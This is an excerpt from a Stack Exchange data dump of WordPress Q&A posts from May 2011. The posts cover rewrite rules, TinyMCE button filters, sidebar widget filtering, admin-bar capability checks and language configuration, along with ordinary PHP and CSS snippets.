  <row Id="17664" PostTypeId="2" ParentId="17663" CreationDate="2011-05-19T09:38:26.930" Score="0" ViewCount="" Body="&lt;p&gt;What would be at &lt;strong&gt;example.com&lt;/strong&gt;? if your using WordPress as CMS and if you want to display your weblogs at &lt;strong&gt;example.com/blog&lt;/strong&gt; just create static front page. See codex page for more information - &lt;a href=&quot;http://codex.wordpress.org/Creating_a_Static_Front_Page#Creating_a_Static_Front_Page&quot; rel=&quot;nofollow&quot;&gt;Creating a Static Front Page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-05-19T09:38:26.930" />
  <row Id="17665" PostTypeId="2" ParentId="17661" CreationDate="2011-05-19T09:39:17.827" Score="2" ViewCount="" Body="&lt;p&gt;You came to this in a bad time of changes. Tables in admin are being migrated from the old and scary ways to new shiny &lt;code&gt;List Tables API&lt;/code&gt; using subclasses of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_List_Table&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_List_Table&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is - while classes are already in and being using core code, they are currently not meant for being used otherwise. Proper API for theme/plugin usage is planned, but I think it didn't make it in 3.2 version, so 3.3 (at best).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your options are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Do custom table, reuse CSS styling from core. Long run - leave as is or recode when &lt;code&gt;List Table API&lt;/code&gt; is implemented and finalized.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extend appropriate &lt;code&gt;WP_List_Table&lt;/code&gt; class with your own and use that. Long run - likely watch it explode at every following WP version from here until &lt;code&gt;List Table API&lt;/code&gt; is implemented and finalized.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For simple things I'd prefer &lt;strong&gt;1&lt;/strong&gt;. But for complex stuff &lt;strong&gt;2&lt;/strong&gt; is pretty much only way to go, because custom table is very hard to get right when a lot of global variables and other joys of admin side are involved.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-05-19T09:39:17.827" CommentCount="3" />
  <row Id="17667" PostTypeId="2" ParentId="17659" CreationDate="2011-05-19T09:56:50.183" Score="0" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What happens when you try it with all your plugins disabled?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What happens when you try is with the default WP theme?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What happens when you try it with a different browser that has no browser extensions or add-ins installed?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What happens when you set twitter.com -&gt; 127.0.0.1 as suggested?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-19T09:56:50.183" CommentCount="1" />
  <row Id="17668" PostTypeId="1" CreationDate="2011-05-19T10:26:26.783" Score="0" ViewCount="43" Body="&lt;p&gt;I have two news pages on different domain names (different content) using the same template. &lt;a href=&quot;http://www.cwmags.co.uk/news&quot; rel=&quot;nofollow&quot;&gt;http://www.cwmags.co.uk/news&lt;/a&gt; and &lt;a href=&quot;http://www.cwmags.com&quot; rel=&quot;nofollow&quot;&gt;http://www.cwmags.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have check .htaccess (301 redirects), CHMOD permissions and on both sites they are identical (apart from difference in domain name).&#xA;Authentication Required Log In required.  Clicking cancel is sufficient to access the web pages.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on where to look?&lt;/p&gt;&#xA;" OwnerUserId="5501" LastActivityDate="2011-05-21T09:42:57.413" Title="Whenever I got to my new pages (http://www.cwmags.com/news) it requests login?" Tags="&lt;users&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17669" PostTypeId="1" AcceptedAnswerId="23331" CreationDate="2011-05-19T10:31:35.387" Score="0" ViewCount="80" Body="&lt;p&gt;If anyone can help me I would be gratefull!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I got a &lt;em&gt;gravity form&lt;/em&gt; with the post_type fields including the submit image when submited it displays the: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;li&gt;content &lt;/li&gt;&#xA;&lt;li&gt;image &lt;/li&gt;&#xA;&lt;li&gt;tags&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So my question is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to single.php I posted a code:  &lt;code&gt;get_related_author_posts();&lt;/code&gt;  which calls the authors last two posts in function.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Please take a look at the code, that contains/illustrates the problem: &lt;a href=&quot;http://pastie.org/1926079&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/1926079&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I need a little help from my friends the wordpress gurus :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You all in advance. I'm still learning the more advanced functions but this is where I'm stuck:)&lt;/p&gt;&#xA;" OwnerUserId="5499" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-19T12:20:14.053" LastActivityDate="2011-07-18T13:36:43.560" Title="How to: Retrieve an attachment image from post and output it" Tags="&lt;attachments&gt;&lt;author&gt;&lt;form&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17670" PostTypeId="1" AcceptedAnswerId="17672" CreationDate="2011-05-19T10:52:53.410" Score="0" ViewCount="115" Body="&lt;p&gt;I would like to create a navigation menu where I will be displaying two level pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Parent 1&lt;/li&gt;&#xA;&lt;li&gt;Parent 2 &lt;/li&gt;&#xA;&lt;li&gt;Parent 3 (current)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Child 1&lt;/li&gt;&#xA;&lt;li&gt;Child 2&lt;/li&gt;&#xA;&lt;li&gt;Child 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Parent 4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I would like to display all the parent pages in my navigation container but only display children pages when the user is currently on its parent page.&lt;/p&gt;&#xA;" OwnerUserId="4986" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-19T11:04:53.987" LastActivityDate="2011-05-19T11:49:17.587" Title="Displaying Subpages while on Parent page?" Tags="&lt;page&gt;&lt;navigation&gt;" AnswerCount="1" />
  <row Id="17671" PostTypeId="1" CreationDate="2011-05-19T11:19:45.253" Score="-1" ViewCount="99" Body="&lt;p&gt;I recently bought a domain. I got the password and username, to logon to the wordpress edit site of the domain. The problem is, that it is in english, and i want it to be danish. Because when you go to the domain/website, it doesn't look good when the two languages are kind of mixed. Now how do i fix this?&#xA;I never had wordpress before, so when i downloaded the danish version to my computer, it doesn't effect the domain wordpress :( can I somehow make it effect the site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate your help and answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thank, Kevin.&lt;/p&gt;&#xA;" OwnerUserId="5502" LastActivityDate="2011-05-19T11:58:11.327" Title="Wordpress language problem" Tags="&lt;language&gt;" AnswerCount="1" />
  <row Id="17672" PostTypeId="2" ParentId="17670" CreationDate="2011-05-19T11:49:17.587" Score="1" ViewCount="" Body="&lt;p&gt;This is pretty easy, as WordPress sets css classes for the parent pages.&#xA;Default we hide all sublists (ul) from the menu with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.menu ul {&#xA;    display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when the parent page is selected we use the css classes that are set by WordPress to show the sublists again.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.menu .current_page_ancestor, .menu .current_page_parent {&#xA;    display: block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So all you need is this in your template&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;menu&quot;&amp;gt;&#xA;    &amp;lt;?php wp_list_pages('title_li=') ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this in your css file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.menu ul {&#xA;    display: none;&#xA;}&#xA;&#xA;.menu .current_page_ancestor &amp;gt; ul, .menu .current_page_parent &amp;gt; ul {&#xA;    display: block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2011-05-19T11:49:17.587" CommentCount="1" />
  <row Id="17673" PostTypeId="1" CreationDate="2011-05-19T11:56:04.103" Score="0" ViewCount="112" Body="&lt;p&gt;I have linked my Buddypress install (all latest versions) to our Oracle HR database by directly importing fields via a connector into the MYSQL database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although all fields are mapping correctly and the site is usable and profiles are correct, we are observing two strange results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) On the main blog (the Buddypress one) when viewing /wp-admin/users.php we see the wrong number of users. There are more users by role being displayed than we have items in the user database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) On Groups pages, we see duplicate entries for most users when viewing the user list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note - there are no duplicate entries in the database and no differences between the user profiles that the duplicate entires in the lists link to. We have duplicate references to the same profile.&lt;/p&gt;&#xA;" OwnerUserId="5503" LastActivityDate="2011-05-19T11:56:04.103" Title="How to remove duplicate member details from group member lists in Buddypress?" Tags="&lt;users&gt;&lt;mysql&gt;&lt;buddypress&gt;&lt;usermeta&gt;&lt;profiles&gt;" />
  <row Id="17674" PostTypeId="2" ParentId="17632" CreationDate="2011-05-19T11:57:14.987" Score="1" ViewCount="" Body="&lt;p&gt;Oops. OK, I figured it out. I'll blame it on UX: there is a button on Jetpack's very ornate admin page which allows you to connect and disconnect from WordPress.com. But the button is very closely matched to the colour of the background, and the microcopy is a little confusing. But I'll cop to a mea culpa. Sorry for wasting your bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I would've posted a screenshot, but I'm a new user on this site, and need 10 Whuffie points before I can do that.)&lt;/p&gt;&#xA;" OwnerUserId="5397" LastActivityDate="2011-05-19T11:57:14.987" />
  <row Id="17675" PostTypeId="2" ParentId="17671" CreationDate="2011-05-19T11:58:11.327" Score="2" ViewCount="" Body="&lt;p&gt;Upload your danish language files (da_DK.mo and da_DK.po) in your wp-content/langauges/ folder on your webserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then edit the wp-config.php in your root folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define ('WPLANG', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be changed in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define ('WPLANG', 'da_DK');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2011-05-19T11:58:11.327" CommentCount="3" />
  <row Id="17676" PostTypeId="2" ParentId="17663" CreationDate="2011-05-19T12:10:37.017" Score="0" ViewCount="" Body="&lt;p&gt;The redirect has to be a 301, not an internal request.  Otherwise WordPress will search dor a page named &lt;strong&gt;blog&lt;/strong&gt;.&lt;br&gt;&#xA;And you don’t need mod_rewrite.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Apache 1.3 needs a complete URL&#xA;RedirectMatch Permanent ^/blog$ http://example.com/&#xA;&#xA;# Apache 2.x needs just the path&#xA;RedirectMatch Permanent ^/blog$ /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-19T12:10:37.017" CommentCount="1" />
  <row Id="17677" PostTypeId="2" ParentId="17669" CreationDate="2011-05-19T12:22:54.690" Score="0" ViewCount="" Body="&lt;p&gt;You can find all the functions you need &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_url&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (see &quot;Related&quot; at the bottom).&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-19T12:22:54.690" CommentCount="1" />
  <row Id="17679" PostTypeId="1" AcceptedAnswerId="17683" CreationDate="2011-05-19T12:58:09.230" Score="3" ViewCount="313" Body="&lt;p&gt;I'm trying to create some pretty URLs for links querying multiple taxonomies. I'm using the &quot;Taxonomy drill-down&quot; plugin, although the main usage is now integrated @ the core it still has some helpful function for templating :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example URL querying multiple taxonomies ( working ) would be:&#xA; &lt;em&gt;domain.com/?tax1=foo&amp;amp;tax2=bar&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to have links like - &#xA;&lt;em&gt;domain.com/tax1/foo/tax2/bar&lt;/em&gt; - translating to the above example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tax1/2 = taxonomy name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;foo/bar = required term&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I stumbled upon &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Rewrite#Examples&quot; rel=&quot;nofollow&quot;&gt;Examples of WP Rewrites&lt;/a&gt; but i think i suck with those patterns and something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newrules['tax1/(.*)/tax2/(.*)/'] = 'index.php?tax1=$matches[1]&amp;amp;tax2=$matches[2]';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;doesn't seem to work ( that's just a portion of the whole function based on the Wordpress example )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? :)&lt;/p&gt;&#xA;" OwnerUserId="5266" LastActivityDate="2011-05-19T13:30:46.103" Title="URL rewrite rules for multiple taxonomies query" Tags="&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="17680" PostTypeId="2" ParentId="17663" CreationDate="2011-05-19T13:04:53.307" Score="0" ViewCount="" Body="&lt;p&gt;You can add an extra rewrite rule to &lt;em&gt;WordPress&lt;/em&gt; (not to &lt;em&gt;Apache&lt;/em&gt;, via the &lt;code&gt;.htaccess&lt;/code&gt; file) to make &lt;code&gt;/blog/&lt;/code&gt; render the latest blog posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse17663_init' );&#xA;function wpse17663_init()&#xA;{&#xA;    add_rewrite_rule( 'blog/?$', 'index.php?post_type=post', 'top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Flush the rewrite rules after you add this code (by visiting the &lt;em&gt;Permalinks&lt;/em&gt; page, for example).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-19T13:04:53.307" />
  <row Id="17681" PostTypeId="1" AcceptedAnswerId="17687" CreationDate="2011-05-19T13:05:41.760" Score="0" ViewCount="94" Body="&lt;p&gt;Is it possible to include or exclude specific named widgets that are assigned to a named dynamic_sidebar call?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I've registered a sidebar named &quot;my_sidebar&quot; and the user had placed a &quot;Links&quot; widget into it, I want to be able to include or exclude it based on a custom setting in my theme options panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-05-19T14:14:52.287" Title="Call dynamic_sidebar but include/exclude named widgets?" Tags="&lt;theme-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="17683" PostTypeId="2" ParentId="17679" CreationDate="2011-05-19T13:30:46.103" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;(.*)&lt;/code&gt; matches everything, so it will &quot;eat up&quot; the extra characters (it is &quot;greedy&quot;). If the URL is &lt;code&gt;/tax1/foo/tax2/bar/&lt;/code&gt;, the first &lt;code&gt;(.*)&lt;/code&gt; will be &lt;code&gt;foo/tax2/bar/&lt;/code&gt;, so nothing is left for the second match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of &lt;code&gt;(.*)&lt;/code&gt; you can use the &quot;non-greedy&quot; version &lt;code&gt;(.+?)&lt;/code&gt;. This will match as much as possible, but still keep the rest in mind. You can also use the even stricter version &lt;code&gt;([^/]+)&lt;/code&gt;: this will match everything up to the next &lt;code&gt;/&lt;/code&gt; - but this will not work for nested categories, so &lt;code&gt;/category/fruit/banana/tag/flies/&lt;/code&gt; will not split up in &lt;code&gt;fruit/banana&lt;/code&gt; and &lt;code&gt;flies&lt;/code&gt; like you might expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are going to play with the rewrite rules I recommend you to install my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;Rewrite analyzer plugin&lt;/a&gt;. It allows you to see the current rewrite rules and play with URLs to see which rules will match.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-19T13:30:46.103" CommentCount="6" />
  <row Id="17684" PostTypeId="2" ParentId="2521" CreationDate="2011-05-19T13:36:32.070" Score="1" ViewCount="" Body="&lt;p&gt;Try &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;simple facebook connect&lt;/a&gt; from @Otto. It's well coded and offers tons of sub-plugins to extend.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-19T13:36:32.070" />
  <row Id="17685" PostTypeId="2" ParentId="17659" CreationDate="2011-05-19T13:47:27.103" Score="0" ViewCount="" Body="&lt;p&gt;problem not resolved, temporary solution is to add a host entry for the twitter host to point it to localhost as offered by @Dunhamzzz and explained further by @Roman and @Jan&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-05-19T13:47:27.103" />
  <row Id="17686" PostTypeId="1" AcceptedAnswerId="17688" CreationDate="2011-05-19T14:09:20.323" Score="1" ViewCount="145" Body="&lt;p&gt;I'm developing a plugin that I'll install for all my clients to make WordPress slightly easier to use for them. One of the things it will change is the default TinyMCE configuration. It'll add things like &lt;code&gt;underline&lt;/code&gt; and &lt;code&gt;justifyfull&lt;/code&gt; to the first TinyMCE row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could use other plugins like &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE Advanced&lt;/a&gt; to alter TinyMCE for my clients, but they add a lot of unneccessary bloat which is susceptible to problems during updates. I want to make this as minimalistic as possible in order to avoid update issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written this simple code that mostly works great:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mo_change_mce_buttons( $initArray ) {&#xA;    $initArray['theme_advanced_buttons1'] = 'bold,italic,underline,strikethrough,|,bullist,numlist,blockquote,|,justifyleft, justifycenter,justifyright,justifyfull,|,link,unlink,wp_more,|,spellchecker,fullscreen,wp_adv';&#xA;    return $initArray;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'mo_change_mce_buttons');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code works great except for one huge problem. It disables any TinyMCE plugins on the TinyMCE row in question (&lt;code&gt;theme_advanced_buttons1&lt;/code&gt;). &lt;a href=&quot;http://wordpress.org/extend/plugins/vipers-video-quicktags/&quot; rel=&quot;nofollow&quot;&gt;The Vipers Video Quicktags plugin&lt;/a&gt; for example, which adds a YouTube-button, is removed by using the code above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I modify the default first TinyMCE row using simple code in my own plugin without sacrificing the possibility for other plugins to add buttons to it too?&lt;/p&gt;&#xA;" OwnerUserId="5508" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-19T14:30:03.060" LastActivityDate="2011-05-19T14:30:03.060" Title="Adding TinyMCE buttons without removing plugin buttons?" Tags="&lt;filters&gt;&lt;tinymce&gt;&lt;visual-editor&gt;&lt;wysiwyg&gt;&lt;buttons&gt;" AnswerCount="1" />
  <row Id="17687" PostTypeId="2" ParentId="17681" CreationDate="2011-05-19T14:14:52.287" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;dynamic_sidebar()&lt;/code&gt; calls &lt;code&gt;wp_get_sidebars_widgets()&lt;/code&gt; to get all widgets per sidebar. I think filtering this output is the best way to remove a widget from an sidebar.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'sidebars_widgets', 'wpse17681_sidebars_widgets' );&#xA;function wpse17681_sidebars_widgets( $sidebars_widgets )&#xA;{&#xA;    if ( is_page() /* Or whatever */ ) {&#xA;        foreach ( $sidebars_widgets as $sidebar_id =&amp;gt; &amp;amp;$widgets ) {&#xA;            if ( 'my_sidebar' != $sidebar_id ) {&#xA;                continue;&#xA;            }&#xA;            foreach ( $widgets as $idx =&amp;gt; $widget_id ) {&#xA;                // There might be a better way to check the widget name&#xA;                if ( 0 === strncmp( $widget_id, 'links-', 6 ) ) {&#xA;                    unset( $widgets[$idx] );&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    return $sidebars_widgets;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-19T14:14:52.287" CommentCount="3" />
  <row Id="17688" PostTypeId="2" ParentId="17686" CreationDate="2011-05-19T14:27:31.500" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-admin/includes/post.php#L1596&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;tiny_mce_before_init&lt;/code&gt; is a filter that gets the whole TinyMCE configuration&lt;/a&gt;, but there are filters that act on smaller parts of it, like &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-admin/includes/post.php#L1499&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;mce_buttons&lt;/code&gt; for only the buttons&lt;/a&gt;. The advantage here is that they act on arrays, so it's easy to add or remove parts from them. This is &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/vipers-video-quicktags/tags/6.2.19/vipers-video-quicktags.php?rev=386584#L498&quot; rel=&quot;nofollow&quot;&gt;how Vipers Video Quicktags does it&lt;/a&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change your code to the following snippet to insert the buttons at the right places and not remove buttons that other plugins have added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'mce_buttons', 'wpse17686_mce_buttons' );&#xA;function wpse17686_mce_buttons( $old_buttons )&#xA;{&#xA;    $new_buttons = array();&#xA;    foreach ( $old_buttons as $button ) {&#xA;        $new_buttons[] = $button;&#xA;        if ( 'italic' == $button ) {&#xA;            $new_buttons[] = 'underline';&#xA;        }&#xA;        if ( 'justifyright' == $button ) {&#xA;            $new_buttons[] = 'justifyfull';&#xA;        }&#xA;    }&#xA;    return $new_buttons;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-19T14:27:31.500" CommentCount="1" />
  <row Id="17689" PostTypeId="1" AcceptedAnswerId="17692" CreationDate="2011-05-19T14:37:23.740" Score="1" ViewCount="82" Body="&lt;p&gt;I'm trying to add items to the admin bar but only for users with certain capabilities, such as &lt;code&gt;add_movies&lt;/code&gt; in a plugin. The problem is that, according to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14041/current-user-can-on-wordpress-3-1-1&quot;&gt;@toscho&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4492/how-to-use-current-user-can&quot;&gt;@TheDeadMedic&lt;/a&gt;, the plugin executes its code too early in the order of operations to use &lt;code&gt;current_user_can&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;code&gt;if ($user-&amp;gt;has_cap('add_movies'))&lt;/code&gt; but get &lt;code&gt;Fatal error: Call to a member function has_cap() on a non-object in xxx.&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing an obvious global or is the solution more complicated?&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-05-19T14:50:06.593" Title="How to show a admin bar menu item only to users with certain capabilities?" Tags="&lt;capabilities&gt;&lt;user-roles&gt;&lt;admin-bar&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17690" PostTypeId="2" ParentId="2521" CreationDate="2011-05-19T14:44:21.807" Score="0" ViewCount="" Body="&lt;p&gt;Wordbooker absolutely does this. You just have to configure it to do so. I use it on my blog. Every time I post a new blog entry it creates a status update on my Facebook. Any comments to that Facebook entry in turn get added to the comments of the blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this post on my blog (The very first comment came from Facebook, as you can see by hovering your mouse of the commenters name): &lt;a href=&quot;http://dracore.com/?p=150&quot; rel=&quot;nofollow&quot;&gt;http://dracore.com/?p=150&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure 'Import Comments from Facebook for Wordbook Posts' is checked in Wordbooker settings: &lt;/p&gt;&#xA;" OwnerUserId="5509" LastActivityDate="2011-05-19T14:44:21.807" CommentCount="1" />
  <row Id="17691" PostTypeId="2" ParentId="17689" CreationDate="2011-05-19T14:45:19.187" Score="0" ViewCount="" Body="&lt;p&gt;Try it with &lt;code&gt;if ( current_user_can('capability') ) : /* your code */; endif;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Haven't read your Q completely. Have you tried the following?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $current_user;&#xA;get_currentuserinfo();&#xA;&#xA;// Here you can start interacting with everything the current user has:&#xA;echo '&amp;lt;pre&amp;gt;';&#xA;    print_r($current_user); // show what we got to offer&#xA;echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;// Then you'll have to do something with the role to get the caps and match against them&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-19T14:45:19.187" CommentCount="1" />
  <row Id="17692" PostTypeId="2" ParentId="17689" CreationDate="2011-05-19T14:50:06.593" Score="2" ViewCount="" Body="&lt;p&gt;The check will be called too early if you just write it in your plugin file like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( current_user_can( 'add_movies' ) ) {&#xA;    add_action( 'admin_bar_menu', 'wpse17689_admin_bar_menu' );&#xA;}&#xA;function wpse17689_admin_bar_menu( &amp;amp;$wp_admin_bar )&#xA;{&#xA;    $wp_admin_bar-&amp;gt;add_menu( /* ... */ );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because it will execute when your plugins is loaded, which is very early in the startup process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should do is always add the action, but then in the callback for the action check for &lt;code&gt;current_user_can()&lt;/code&gt;. If you can't do the action, just return without adding the menu item.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_bar_menu', 'wpse17689_admin_bar_menu' );&#xA;function wpse17689_admin_bar_menu( &amp;amp;$wp_admin_bar )&#xA;{&#xA;    if ( ! current_user_can( 'add_movies' ) ) {&#xA;        return;&#xA;    }&#xA;    $wp_admin_bar-&amp;gt;add_menu( /* ... */ );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-19T14:50:06.593" CommentCount="2" />
  <row Id="17693" PostTypeId="2" ParentId="17643" CreationDate="2011-05-19T15:02:17.070" Score="2" ViewCount="" Body="&lt;p&gt;If you try to hide the Admin Bar by hooking into the &lt;code&gt;show_admin_bar&lt;/code&gt; filter, but &lt;a href=&quot;http://wordpress.stackexchange.com/questions/13875/admin-bar-css-left-over-after-removal/14255#14255&quot;&gt;do this &lt;em&gt;too late&lt;/em&gt;&lt;/a&gt; (&lt;code&gt;init&lt;/code&gt; with the default priority is too late for example), you will get an extra 28px top margin but no admin bar there. &lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-19T15:02:17.070" />
